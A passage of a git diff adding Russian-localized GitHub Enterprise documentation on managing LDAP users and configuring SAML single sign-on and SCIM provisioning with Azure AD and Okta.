+Если раскрытие таких сведений нежелательно, ваша компания или организация должна ограничить разрешения настроенного *пользователя поиска домена* в консоли администрирования. Если такое ограничение невозможно, обратитесь в {% data variables.contact.contact_ent_support %}. + +{% endwarning %} + +### Поддерживаемые классы объектов групп LDAP + +{% data variables.product.prodname_ghe_server %} поддерживает следующие классы объектов групп LDAP. Группы могут быть вложенными. + +- `group` +- `groupOfNames` +- `groupOfUniqueNames` +- `posixGroup` + +## Просмотр и создание пользователей LDAP + +Вы можете просматривать полный список пользователей LDAP, имеющих доступ к вашему экземпляру, и подготавливать к работе новых пользователей. + +{% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} +3. В левой боковой панели выберите **Пользователи LDAP**. +![Вкладка "Пользователи LDAP"](/assets/images/enterprise/site-admin-settings/ldap-users-tab.png) +4. Чтобы найти пользователя, введите полное или частичное имя пользователя и нажмите **Поиск**. Существующие пользователи появятся в результатах поиска. Если пользователь не существует, нажмите **Создать**, чтобы подготовить к работе новую учетную запись пользователя. +![Поиск LDAP](/assets/images/enterprise/site-admin-settings/ldap-users-search.jpg) + +## Обновление учетных записей LDAP + +Пока не [включена синхронизация LDAP](#enabling-ldap-sync), автоматическая синхронизация изменений учетных записей LDAP с {% data variables.product.prodname_ghe_server %} не выполняется. + +* Чтобы использовать новую группу администрирования LDAP, необходимо вручную повышать и понижать уровень пользователей в {% data variables.product.prodname_ghe_server %} для отражения изменений в LDAP. +* Для добавления или удаления учетных записей LDAP в группах администраторов LDAP следует [повышать или понижать уровни учетных записей в {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/user-management/promoting-or-demoting-a-site-administrator). +* Чтобы удалить учетные записи LDAP, [заблокируйте учетные записи {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users). + +### Синхронизация учетных записей LDAP вручную + +{% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user %} {% data reusables.enterprise_site_admin_settings.click-user %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} +5. В разделе "LDAP" нажмите **Синхронизировать сейчас**, чтобы вручную обновить учетную запись с помощью данных с вашего сервера LDAP. +![Кнопка немедленной синхронизации LDAP](/assets/images/enterprise/site-admin-settings/ldap-sync-now-button.png) + +Вы также можете [использовать API для активации синхронизации вручную](/enterprise/user/rest/reference/enterprise-admin#ldap). + +## Отзыв доступа к {% data variables.location.product_location %} + +Если [синхронизация LDAP включена](#enabling-ldap-sync), удаление учетных данных LDAP пользователя заблокирует его учетную запись после следующего запуска синхронизации. + +Если синхронизация LDAP **не** включена, необходимо вручную заблокировать учетную запись {% data variables.product.prodname_ghe_server %} после удаления учетных данных LDAP. Дополнительные сведения см. в разделе [Блокировка и разблокировка пользователей](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users). diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam.md b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam.md new file mode 100644 index 000000000000..6bbe5ad199de --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam.md @@ -0,0 +1,128 @@ +--- +title: About SAML for enterprise IAM +shortTitle: About SAML for IAM +intro: 'You can use SAML single sign-on (SSO) {% ifversion ghae %}and System for Cross-domain Identity Management (SCIM) {% endif %}to centrally manage access {% ifversion ghec %}to organizations owned by your enterprise on {% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}to {% data variables.location.product_location %}{% elsif ghae %}to {% data variables.location.product_location %}{% endif %}.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: overview +topics: + - Accounts + - Access management + - Authentication + - Enterprise + - Identity +redirect_from: + - /admin/authentication/about-identity-and-access-management-for-your-enterprise + - /github/setting-up-and-managing-your-enterprise/about-identity-and-access-management-for-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/about-identity-and-access-management-for-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/about-user-provisioning-for-organizations-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/configuring-saml-single-sign-on-and-scim-for-your-enterprise-account-using-okta + - /admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise + - /admin/identity-and-access-management/managing-iam-for-your-enterprise/about-identity-and-access-management-for-your-enterprise + - /admin/identity-and-access-management/using-saml-for-enterprise-iam/about-identity-and-access-management-for-your-enterprise +--- + +## About SAML SSO for {% ifversion ghec or ghae %}your enterprise on {% endif %}{% ifversion ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} + +{% ifversion ghec %} + +If your enterprise members manage their own user accounts on {% data variables.location.product_location %}, you can configure SAML authentication as an additional access restriction for your enterprise or organization. {% data reusables.saml.dotcom-saml-explanation %} + +{% data reusables.saml.saml-accounts %} + +{% data reusables.saml.about-saml-enterprise-accounts %} For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." + +Alternatively, you can provision and manage the accounts of your enterprise members with {% data variables.product.prodname_emus %}. To help you determine whether SAML SSO or {% data variables.product.prodname_emus %} is better for your enterprise, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#identifying-the-best-authentication-method-for-your-enterprise)." + +{% data reusables.enterprise-accounts.about-recovery-codes %} For more information, see "[Managing recovery codes for your enterprise](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise)." + +After you enable SAML SSO, depending on the IdP you use, you may be able to enable additional identity and access management features. + +If you use Azure AD as your IDP, you can use team synchronization to manage team membership within each organization. {% data reusables.identity-and-permissions.about-team-sync %} For more information, see "[Managing team synchronization for organizations in your enterprise account](/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." + +{% note %} + +**Note:** You cannot use SCIM at the enterprise level unless your enterprise is enabled for {% data variables.product.prodname_emus %}. + +{% endnote %} + +{% data reusables.saml.switching-from-org-to-enterprise %} For more information, see "[Switching your SAML configuration from an organization to an enterprise account](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)." + +{% elsif ghes %} + +SAML SSO allows people to authenticate and access {% data variables.location.product_location %} through an external system for identity management. + +SAML is an XML-based standard for authentication and authorization. When you configure SAML for {% data variables.location.product_location %}, the external system for authentication is called an identity provider (IdP). Your instance acts as a SAML service provider (SP). For more information about the SAML standard, see [Security Assertion Markup Language](https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language) on Wikipedia. + +For more information about the configuration of SAML SSO on {% data variables.product.product_name %}, see "[Configuring SAML single sign-on for your enterprise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise)." + +{% data reusables.saml.saml-ghes-account-revocation %} + +{% data reusables.enterprise_user_management.external_auth_disables_2fa %} + +{% data reusables.enterprise_user_management.built-in-authentication %} + +{% elsif ghae %} + +{% data reusables.saml.ae-uses-saml-sso %} {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %} + +After you configure the application for {% data variables.product.product_name %} on your identity provider (IdP), you can provision access to {% data variables.location.product_location %} by assigning the application to users and groups on your IdP. For more information about SAML SSO for {% data variables.product.product_name %}, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)." + +{% data reusables.scim.after-you-configure-saml %} For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." + +To learn how to configure both authentication and user provisioning for {% data variables.location.product_location %} with your specific IdP, see "[Configuring authentication and provisioning with your identity provider](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider)." + +{% endif %} + +## Supported IdPs + +{% ifversion ghec %} + +We test and officially support the following IdPs. For SAML SSO, we offer limited support for all identity providers that implement the SAML 2.0 standard. For more information, see the [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website. + +IdP | SAML | Team synchronization | +--- | :--: | :-------: | +Active Directory Federation Services (AD FS) | {% octicon "check-circle-fill" aria-label= "The check icon" %} | | +Azure Active Directory (Azure AD) | {% octicon "check-circle-fill" aria-label="The check icon" %} | {% octicon "check-circle-fill" aria-label="The check icon" %} | +Okta | {% octicon "check-circle-fill" aria-label="The check icon" %} | | +OneLogin | {% octicon "check-circle-fill" aria-label="The check icon" %} | | +PingOne | {% octicon "check-circle-fill" aria-label="The check icon" %} | | +Shibboleth | {% octicon "check-circle-fill" aria-label="The check icon" %} | | + +{% elsif ghes %} + +{% data reusables.saml.saml-supported-idps %} + +{% ifversion ghes > 3.3 %} + +If your IdP supports encrypted assertions, you can configure encrypted assertions on {% data variables.product.product_name %} for increased security during the authentication process. + +{% endif %} + +{% data reusables.saml.saml-single-logout-not-supported %} + +{% elsif ghae %} + +The following IdPs are officially supported for integration with {% data variables.product.prodname_ghe_managed %}. + +{% data reusables.saml.okta-ae-sso-beta %} + +{% data reusables.github-ae.saml-idp-table %} + +{% endif %} + +{% ifversion ghae %} + +## Mapping {% data variables.product.prodname_ghe_managed %} teams to Okta groups + +If you use Okta as your IdP, you can map your Okta groups to teams on {% data variables.product.product_name %}. For more information, see "[Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." + +{% endif %} + +## Further reading + +- [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website +- [System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644) on the IETF website{% ifversion ghae %} +- [Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise){% endif %} diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md new file mode 100644 index 000000000000..938ed4dc2e57 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md @@ -0,0 +1,85 @@ +--- +title: "Настройка проверки подлинности и подготовка вашей организации с помощью Azure\_AD" +shortTitle: Configure with Azure AD +intro: 'Клиент в Azure Active Directory (Azure AD) можно использовать в качестве поставщика удостоверений (IdP) для централизованного управления проверкой подлинности и подготовкой пользователей для {% data variables.location.product_location %}.' +permissions: 'Enterprise owners can configure authentication and provisioning for an enterprise on {% data variables.product.product_name %}.' +versions: + ghae: '*' + feature: scim-for-ghes +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity + - SSO +redirect_from: + - /admin/authentication/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad + - /admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad + - /admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad +ms.openlocfilehash: bfd93814b11066d6da2d87a2e1f0a8bd5461e93f +ms.sourcegitcommit: ced661bdffebd0f96f6f76db109fbe31983448ba +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/16/2022 +ms.locfileid: '148167063' +--- +## Сведения о проверке подлинности и подготовке пользователей с помощью Azure AD + +Azure Active Directory (Azure AD) — это служба корпорации Майкрософт, которая позволяет централизованно управлять учетными записями пользователей и доступом к веб-приложениям. Дополнительные сведения см. в статье [Что такое Azure Active Directory?](https://docs.microsoft.com/azure/active-directory/fundamentals/active-directory-whatis) в Документации Майкрософт. + +Для управления удостоверениями и доступом к {% data variables.product.product_name %} можно использовать клиент Azure AD в качестве поставщика удостоверений SAML для проверки подлинности. Вы также можете настроить Azure AD для автоматической подготовки учетных записей и доступа к членству с помощью SCIM, что позволяет создавать пользователей {% data variables.product.product_name %} и управлять членством в командах и организациях из клиента Azure AD. + +{% data reusables.scim.ghes-beta-note %} + +После включения единого входа SAML и SCIM для {% data variables.product.product_name %} с помощью Azure AD вы можете выполнить следующие действия в клиенте Azure AD. + +* Назначьте приложение {% data variables.product.product_name %} на Azure AD учетной записи пользователя, чтобы автоматически создать и предоставить доступ к соответствующей учетной записи пользователя в {% data variables.product.product_name %}. +* Отмена назначения приложения {% data variables.product.product_name %} учетной записи пользователя на Azure AD, чтобы отключить соответствующую учетную запись пользователя в {% data variables.product.product_name %}. +* Назначьте приложение {% data variables.product.product_name %} группе поставщика удостоверений на Azure AD, чтобы автоматически создавать и предоставлять доступ к учетным записям пользователей в {% data variables.product.product_name %} для всех участников группы поставщика удостоверений. Кроме того, группа IdP доступна в {% data variables.product.product_name %} для подключения к команде и ее родительской организации. +* Отмените назначение приложения {% data variables.product.product_name %} из группы поставщиков удостоверений, чтобы отключить учетные записи пользователей {% data variables.product.product_name %} всех пользователей поставщика удостоверений, имеющих доступ только через эту группу удостоверений, и удалить пользователей из родительской организации. Группа поставщика удостоверений будет отключена от всех команд на {% data variables.product.product_name %}. + +Дополнительные сведения об управлении удостоверениями и доступом для предприятия в {% data variables.location.product_location %} см. в разделе [Управление удостоверениями и доступом для предприятия](/admin/authentication/managing-identity-and-access-for-your-enterprise). Дополнительные сведения о синхронизации команд с группами поставщика удостоверений см. в разделе [Синхронизация команды с группой поставщика удостоверений](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group). + +## Предварительные требования + +- Чтобы настроить проверку подлинности и подготовку пользователей для {% data variables.product.product_name %} с использованием Azure AD, необходимо иметь учетную запись и клиент Azure AD. Дополнительные сведения см. на [веб-сайте Azure AD](https://azure.microsoft.com/free/active-directory) и в [кратком руководстве по созданию клиента Azure Active Directory](https://docs.microsoft.com/azure/active-directory/develop/quickstart-create-new-tenant) в Документации Майкрософт. + +{%- ifversion scim-for-ghes %} +- {% data reusables.saml.ghes-you-must-configure-saml-sso %} {%- endif %} + +- {% data reusables.saml.create-a-machine-user %} + +## Настройка проверки подлинности и подготовка пользователей с помощью Azure AD + +В клиенте Azure AD добавьте приложение для {% data variables.product.product_name %}, а затем настройте подготовку. + +{% ifversion ghae %} + +1. В Azure AD добавьте {% data variables.enterprise.ae_azure_ad_app_link %} в клиент и настройте единый вход. Дополнительные сведения см. в статье [Руководство по интеграции единого входа Azure Active Directory с {% data variables.product.product_name %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) в Документация Майкрософт. + +1. В {% data variables.product.product_name %} введите сведения о клиенте Azure AD. + + - {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %} + + - Если вы уже настроили единый вход SAML для {% data variables.location.product_location %} с помощью другого поставщика удостоверений и хотите использовать Azure AD, вы можете изменить конфигурацию. Дополнительные сведения см. в разделе [Настройка единого входа SAML для вашего предприятия](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise#editing-the-saml-sso-configuration). + +1. Включите подготовку пользователей в {% data variables.product.product_name %} и настройте подготовку пользователей в Azure AD. Дополнительные сведения см. в разделе [Настройка подготовки пользователей в организации](/admin/authentication/configuring-user-provisioning-for-your-enterprise#enabling-user-provisioning-for-your-enterprise). + +{% elsif scim-for-ghes %} + +1. В клиенте Azure AD на левой боковой панели щелкните **Подготовка**. + +1. В разделе "URL-адрес клиента" введите полный URL-адрес конечной точки для SCIM в {% data variables.location.product_location %}. Дополнительные сведения см. в разделе [SCIM](/rest/enterprise-admin/scim#scim-endpoint-urls) документации по REST API. + +1. В разделе "Секретный токен" введите {% data variables.product.pat_v1 %}, созданный на шаге 4 раздела "[Настройка подготовки пользователей с помощью SCIM для вашего предприятия](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise#enabling-user-provisioning-for-your-enterprise)". + +1. Чтобы обеспечить успешное подключение из Azure AD к {% data variables.location.product_location %}, щелкните **Проверить подключение**. + +1. После успешного подключения в верхней части страницы нажмите кнопку **Сохранить**. + +{% endif %} + +1. Назначьте владельца предприятия для {% data variables.product.product_name %} в Azure AD. Процесс, который необходимо выполнить, зависит от того, настроена ли подготовка. Дополнительные сведения о владельцах организаций см. в разделе [Роли в организации](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owners). + - Если вы настроили подготовку, чтобы предоставить пользователю права владения предприятием в {% data variables.product.product_name %}, назначьте роль владельца предприятия пользователю в Azure AD. + - Если вы не настроили подготовку, чтобы предоставить пользователю права владения предприятием в {% data variables.product.product_name %}, включите `administrator` атрибут в утверждение SAML для учетной записи пользователя в поставщике удостоверений со значением `true`. Дополнительные сведения о включении атрибута `administrator` в утверждение SAML из Azure AD см. [в статье How to: customize claims issued in the SAML token for enterprise applications](https://docs.microsoft.com/azure/active-directory/develop/active-directory-saml-claims-customization) in the Документация Майкрософт. diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md new file mode 100644 index 000000000000..ead0a81b4b1e --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md @@ -0,0 +1,175 @@ +--- +title: Configuring authentication and provisioning for your enterprise using Okta +shortTitle: Configure with Okta +intro: 'You can use Okta as an identity provider (IdP) to centrally manage authentication and user provisioning for {% data variables.location.product_location %}.' +permissions: 'Enterprise owners can configure authentication and provisioning for {% data variables.product.product_name %}.' +versions: + ghae: '*' + feature: scim-for-ghes +redirect_from: + - /admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta + - /admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity + - SSO +miniTocMaxHeadingLevel: 3 +--- + +{% data reusables.saml.okta-ae-sso-beta %} + +## About authentication and user provisioning with Okta + +You can use Okta as an Identity Provider (IdP) for {% data variables.product.product_name %}, which allows your Okta users to sign in to {% data variables.product.product_name %} using their Okta credentials. + +To use Okta as your IdP for {% data variables.product.product_name %}, you can add the {% data variables.product.product_name %} app to Okta, configure Okta as your IdP in {% data variables.product.product_name %}, and provision access for your Okta users and groups. + +{% data reusables.scim.ghes-beta-note %} + +The following provisioning features are available for all Okta users that you assign to your {% data variables.product.product_name %} application. + +| Feature | Description | +| --- | --- | +| Push New Users | When you create a new user in Okta, the user is added to {% data variables.product.product_name %}. | +| Push User Deactivation | When you deactivate a user in Okta, it will suspend the user from your enterprise on {% data variables.product.product_name %}. | +| Push Profile Updates | When you update a user's profile in Okta, it will update the metadata for the user's membership in your enterprise on {% data variables.product.product_name %}. | +| Reactivate Users | When you reactivate a user in Okta, it will unsuspend the user in your enterprise on {% data variables.product.product_name %}. | + +## Prerequisites + +- To configure authentication and user provisioning for {% data variables.product.product_name %} using Okta, you must have an Okta account and tenant. + +{%- ifversion scim-for-ghes %} +- {% data reusables.saml.ghes-you-must-configure-saml-sso %} +{%- endif %} + +- {% data reusables.saml.create-a-machine-user %} + +## Adding the {% data variables.product.product_name %} application in Okta + + +{% data reusables.saml.okta-ae-applications-menu %} +{% data reusables.saml.okta-browse-app-catalog %} +{%- ifversion ghae %} +1. In the search field, type "GitHub AE", then click **GitHub AE** in the results. + + !["Search result"](/assets/images/help/saml/okta-ae-search.png) +1. Click **Add**. + + !["Add GitHub AE app"](/assets/images/help/saml/okta-ae-add-github-ae.png) +1. For "Base URL", type the URL of your enterprise on {% data variables.product.product_name %}. + + !["Configure Base URL"](/assets/images/help/saml/okta-ae-configure-base-url.png) +1. Click **Done**. +{%- elsif scim-for-ghes %} +1. In the search field, type "GitHub Enterprise Server", then click **GitHub Enterprise Server** in the results. +1. Click **Add**. +1. For "Base URL", type the URL of {% data variables.location.product_location %}. +1. Click **Done**. +{% endif %} + +## Enabling SAML SSO for {% data variables.product.product_name %} + +To enable single sign-on (SSO) for {% data variables.product.product_name %}, you must configure {% data variables.product.product_name %} to use the sign-on URL, issuer URL, and public certificate provided by Okta. You can find these details in the Okta app for {% data variables.product.product_name %}. + +{% data reusables.saml.okta-ae-applications-menu %} +{% data reusables.saml.okta-click-on-the-app %} +{% ifversion ghae %} +{% data reusables.saml.okta-sign-on-tab %} +{% data reusables.saml.okta-view-setup-instructions %} +1. Take note of the "Sign on URL", "Issuer", and "Public certificate" details. +1. Use the details to enable SAML SSO for your enterprise on {% data variables.product.product_name %}. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." +{% elsif scim-for-ghes %} +{% data reusables.saml.okta-sign-on-tab %} +1. Use the details to enable SAML SSO for {% data variables.location.product_location %}. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." +{%- endif %} + +{% note %} + +**Note:** To test your SAML configuration from {% data variables.product.product_name %}, your Okta user account must be assigned to the {% data variables.product.product_name %} app. + +{% endnote %} + +## Enabling API integration + +The Okta app uses the REST API for {% data variables.product.product_name %} for SCIM provisioning. You can enable and test access to the API by configuring Okta with a {% data variables.product.pat_generic %} for {% data variables.product.product_name %}. + +1. In {% data variables.product.product_name %}, generate a {% data variables.product.pat_v1 %} with the `admin:enterprise` scope. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)". +{% data reusables.saml.okta-ae-applications-menu %} +{% data reusables.saml.okta-click-on-the-app %} +{% data reusables.saml.okta-ae-provisioning-tab %} +1. Click **Configure API Integration**. + +1. Select **Enable API integration**. + + ![Enable API integration](/assets/images/help/saml/okta-ae-enable-api-integration.png) + +1. For "API Token", type the {% data variables.product.product_name %} {% data variables.product.pat_generic %} you generated previously. + +1. Click **Test API Credentials**. + +{% note %} + +**Note:** If you see `Error authenticating: No results for users returned`, confirm that you have enabled SSO for {% data variables.product.product_name %}. For more information see "[Enabling SAML SSO for {% data variables.product.product_name %}](#enabling-saml-sso-for-github-ae)." + +{% endnote %} + +## Configuring SCIM provisioning settings + +This procedure demonstrates how to configure the SCIM settings for Okta provisioning. These settings define which features will be used when automatically provisioning Okta user accounts to {% data variables.product.product_name %}. + +{% data reusables.saml.okta-ae-applications-menu %} +{% data reusables.saml.okta-click-on-the-app %} +{% data reusables.saml.okta-ae-provisioning-tab %} +1. Under "Settings", click **To App**. + + !["To App" settings](/assets/images/help/saml/okta-ae-to-app-settings.png) + +1. To the right of "Provisioning to App", click **Edit**. +1. To the right of "Create Users", select **Enable**. +1. To the right of "Update User Attributes", select **Enable**. +1. To the right of "Deactivate Users", select **Enable**. +1. Click **Save**. + +## Allowing Okta users and groups to access {% data variables.product.product_name %} + +You can provision access to {% data variables.product.product_name %} for your individual Okta users, or for entire groups. + +### Provisioning access for Okta users + +Before your Okta users can use their credentials to sign in to {% data variables.product.product_name %}, you must assign the users to the Okta app for {% data variables.product.product_name %}. + +{% data reusables.saml.okta-ae-applications-menu %} +{% data reusables.saml.okta-click-on-the-app %} + +1. Click **Assignments**. + + ![Assignments tab](/assets/images/help/saml/okta-ae-assignments-tab.png) + +1. Select the Assign drop-down menu and click **Assign to People**. + + !["Assign to People" button](/assets/images/help/saml/okta-ae-assign-to-people.png) + +1. To the right of the required user account, click **Assign**. + + ![List of users](/assets/images/help/saml/okta-ae-assign-user.png) + +1. To the right of "Role", click a role for the user, then click **Save and go back**. + + ![Role selection](/assets/images/help/saml/okta-ae-assign-role.png) + +1. Click **Done**. + +{% ifversion ghae %} +### Provisioning access for Okta groups + +You can map your Okta group to a team in {% data variables.product.product_name %}. Members of the Okta group will then automatically become members of the mapped {% data variables.product.product_name %} team. For more information, see "[Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." +{% endif %} + +## Further reading + +- [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) in the Okta documentation +- [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) in the Okta documentation diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md new file mode 100644 index 000000000000..b22d9be8dfd1 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md @@ -0,0 +1,54 @@ +--- +title: Настройка единого входа SAML для предприятия с помощью Okta +intro: 'Можно автоматически управлять доступом к корпоративной учетной записи на {% data variables.product.product_name %}, настроив единый вход (SSO) на языке разметки заявлений системы безопасности (SAML) с Okta.' +redirect_from: + - /github/setting-up-and-managing-your-enterprise/configuring-single-sign-on-for-your-enterprise-account-using-okta + - /github/setting-up-and-managing-your-enterprise-account/configuring-saml-single-sign-on-for-your-enterprise-account-using-okta + - /github/setting-up-and-managing-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-account-using-okta + - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/configuring-saml-single-sign-on-for-your-enterprise-account-using-okta + - /admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta + - /admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta +versions: + ghec: '*' +topics: + - Authentication + - Enterprise +type: how_to +shortTitle: Configure SAML SSO with Okta +ms.openlocfilehash: e9cbf6e70fb5e07f9cd2c5e27d9b952921e18fdc +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109664' +--- +{% data reusables.enterprise-accounts.emu-saml-note %} + +## Сведения об использовании SAML с Okta + +Можно управлять доступом к корпоративной учетной записи в {% data variables.product.product_name %} и других веб-приложениях из одного центрального интерфейса, настроив учетную запись предприятия для использования единого входа SAML с поставщиком удостоверений (IdP) Okta. + +Единый вход SAML контролирует и защищает доступ к ресурсам корпоративной учетной записи, таким как организации, репозитории, проблемы и запросы на вытягивание. Дополнительные сведения см. в разделе [Настройка единого входа SAML для вашего предприятия](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise). + +{% data reusables.saml.switching-from-org-to-enterprise %} Дополнительные сведения см. в разделе [Переключение конфигурации SAML с организации на корпоративную учетную запись](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account). + +Кроме того, можно настроить единый вход SAML с помощью Okta для организации, которая использует {% data variables.product.prodname_ghe_cloud %}. Дополнительные сведения см. в разделе [Настройка единого входа SAML и SCIM с помощью Okta](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta). + +## Добавление приложения {% data variables.product.prodname_ghe_cloud %} в Okta + +{% data reusables.saml.okta-sign-into-your-account %} +1. Перейдите к приложению [{% data variables.product.prodname_ghe_cloud %} — Enterprise Учетные записи](https://www.okta.com/integrations/github-enterprise-cloud-enterprise-accounts) в сети интеграции Okta и нажмите кнопку **"Добавить интеграцию**". +{% data reusables.saml.okta-dashboard-click-applications %} +1. При необходимости справа от пункта "Application label" (Метка приложения) введите описательное имя приложения. +1. Справа от "{% data variables.product.prodname_dotcom %} Предприятия" введите имя учетной записи предприятия. Например, если URL-адрес вашей корпоративной учетной записи имеет вид `https://github.com/enterprises/octo-corp`, введите `octo-corp`. +1. Нажмите кнопку **Done**(Готово). + +## Включение и тестирование единого входа SAML + +{% data reusables.saml.okta-sign-into-your-account %} {% data reusables.saml.okta-dashboard-click-applications %} {% data reusables.saml.click-enterprise-account-application %} {% data reusables.saml.assign-yourself-to-okta %} {% data reusables.saml.okta-sign-on-tab %} +1. Справа от пункт "Settings" (Параметры) нажмите кнопку **Edit** (Изменить). +1. В разделе "Configured SAML Attributes" (Настроенные атрибуты SAML) справа от "groups" (группы) в раскрывающемся меню выберите " **Matches regex** (Соответствует регулярному выражению). +1. Справа от раскрывающегося меню введите `.*.*`. +1. Выберите команду **Сохранить**. +{% data reusables.saml.okta-view-setup-instructions %} +1. Включите SAML для учетной записи предприятия, используя сведения, приведенные в инструкциях по настройке. Дополнительные сведения см. в разделе [Настройка единого входа SAML для вашего предприятия](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise). diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise.md b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise.md new file mode 100644 index 000000000000..5f0283606c53 --- /dev/null +++ 